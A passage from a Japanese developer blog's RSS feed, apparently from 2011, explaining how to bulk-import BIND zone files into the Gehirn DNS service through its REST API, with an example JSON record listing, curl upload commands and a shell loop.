            "HostName": "@",
            "TTL": 3600,
            "Type": "NS"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "NameServer": "ns2.securedns.jp.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "NS"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "NameServer": "ns3.securedns.jp.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "NS"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "NameServer": "ns4.securedns.jp.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "NS"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 1,
            "MailServer": "ASPMX.L.GOOGLE.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 5,
            "MailServer": "ALT1.ASPMX.L.GOOGLE.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 5,
            "MailServer": "ALT2.ASPMX.L.GOOGLE.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 10,
            "MailServer": "ASPMX2.GOOGLEMAIL.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 10,
            "MailServer": "ASPMX3.GOOGLEMAIL.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 10,
            "MailServer": "ASPMX4.GOOGLEMAIL.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Priority": 10,
            "MailServer": "ASPMX5.GOOGLEMAIL.COM.",
            "HostName": "@",
            "TTL": 3600,
            "Type": "MX"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "AliasTo": "google.com.",
            "HostName": "googleffffffffaa0dd2cf",
            "TTL": 3600,
            "Type": "CNAME"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "AliasTo": "ghs.google.com.",
            "HostName": "mail",
            "TTL": 3600,
            "Type": "CNAME"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "IPAddress": "59.106.181.198",
            "HostName": "@",
            "TTL": 3600,
            "Type": "A"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "IPAddress": "163.43.140.10",
            "HostName": "www",
            "TTL": 3600,
            "Type": "A"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "IPAddress": "59.106.181.198",
            "HostName": "ext",
            "TTL": 3600,
            "Type": "A"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "IPAddress": "59.106.181.198",
            "HostName": "dl",
            "TTL": 3600,
            "Type": "A"
        }
    }, {
        "Domain": {
            "ID": 229,
            "Name": "testdomain.com."
        },
        "Resource": {
            "Value": "v=spf1 include:aspmx.googlemail.com ~all",
            "HostName": "@",
            "TTL": 3600,
            "Type": "TXT"
        }
    }],
    "is_success": true
}</pre>
<p>先ほどPOSTした内容(application/x-www-form-urlencoded, data=****)そのままに</p>
<pre>PUT https://dns.gehirn.jp/api/domain/testdomain.com/import</pre>
<p>すれば、ドメインのリソースレコードがすべて削除され、渡したゾーンファイルの情報に置き換えられます。既存のリソースレコードは消えてしまうのでご注意ください。</p>
<p>ちなみに、SOAレコードだけを残して他のリソースレコードをすべて消すには</p>
<pre>DELETE https://dns.gehirn.jp/api/domain/{DomainID OR DomainName}/Resources</pre>
<p>でリクエストします。空になるのでリセットできます。</p>
<p>また、BINDのファイルを一括で適用させたいとき、もしくは定期的に適用したいときにはcurlコマンドから送ってやると楽です。<br />
例：</p>
<pre>curl -X PUT --basic --user TOKEN:SECRET --data-binary 'data=@/tmp/isidai.com.zone' https://dns.gehirn.jp/api/domain/isidai.com/import</pre>
<p>data=@ の後ろにはファイルのパスを書いてください。　また、APIのURIは domain/{DomainID OR DomainName}/import に適時置き換えてください。<br />
こうすることで直接ゾーンファイルを送りつけて適用することができます。定期的に送ることでスレーブサーバみたいな動かし方ができそうですね。</p>
<pre>for i in `ls *.zone|sed -e 's/\.zone$//'`
 do
  curl -X PUT --basic --user TOKEN:SECRET --data-binary "data=@/var/cache/bind/$i.zone" https://dns.gehirn.jp/api/domain/$i/import
 done
</pre>
<p>これでゾーンファイルを一括転送できます。<br />
なお、これをやる前に予めGehirn DNS側でドメインのゾーンを登録（作成）しておく必要があります。ドメインゾーンを登録していないと404エラーになりますのでご注意ください。</p>
<p>で、APIだとくっそ面倒なので、コンパネからもできますｗｗｗｗ←先に言えよ<br />
<a name="ControlPanel"></a><br />
各ドメインのリソースページの下部にリンクがあります。<br />
<a href="http://pckles.com/isidai/1e97d3.png"><img alt="" src="http://pckles.com/isidai/1e97d3.png" title="importer" class="aligncenter" width="600" /></a></p>
<p><a href="http://pckles.com/isidai/f4b70d.png"><img alt="" src="http://pckles.com/isidai/f4b70d.png" title="importer" class="aligncenter" width="600" /></a></p>
<p><a href="http://pckles.com/isidai/682189.png"><img alt="" src="http://pckles.com/isidai/682189.png" title="importer" class="aligncenter" width="600" /></a></p>
<p><a href="http://pckles.com/isidai/6ee461.png"><img alt="" src="http://pckles.com/isidai/6ee461.png" title="importer" class="aligncenter" width="600" /></a></p>
<p>ちなみに、</p>
<pre>$ORIGIN ******</pre>
<p>なんかに別なドメインが入ってるとエラーになりますのでご注意ください。</p>
<p>ますます便利になった（はずの）Gehirn DNSをよろしくお願いしまあああああああああああああああす。</p>
]]></content:encoded>
			<wfw:commentRss>http://isid.ai/dev/2011/12/13/533/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  isid.ai/feed/ ) in 1.00243 seconds, on May 19th, 2012 at 8:05 pm UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on May 19th, 2012 at 9:05 pm UTC -->
<!-- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -->
<!-- Quick Cache Is Fully Functional :-) ... A Quick Cache file was just served for (  isid.ai/feed/ ) in 0.00096 seconds, on May 19th, 2012 at 8:40 pm UTC. -->
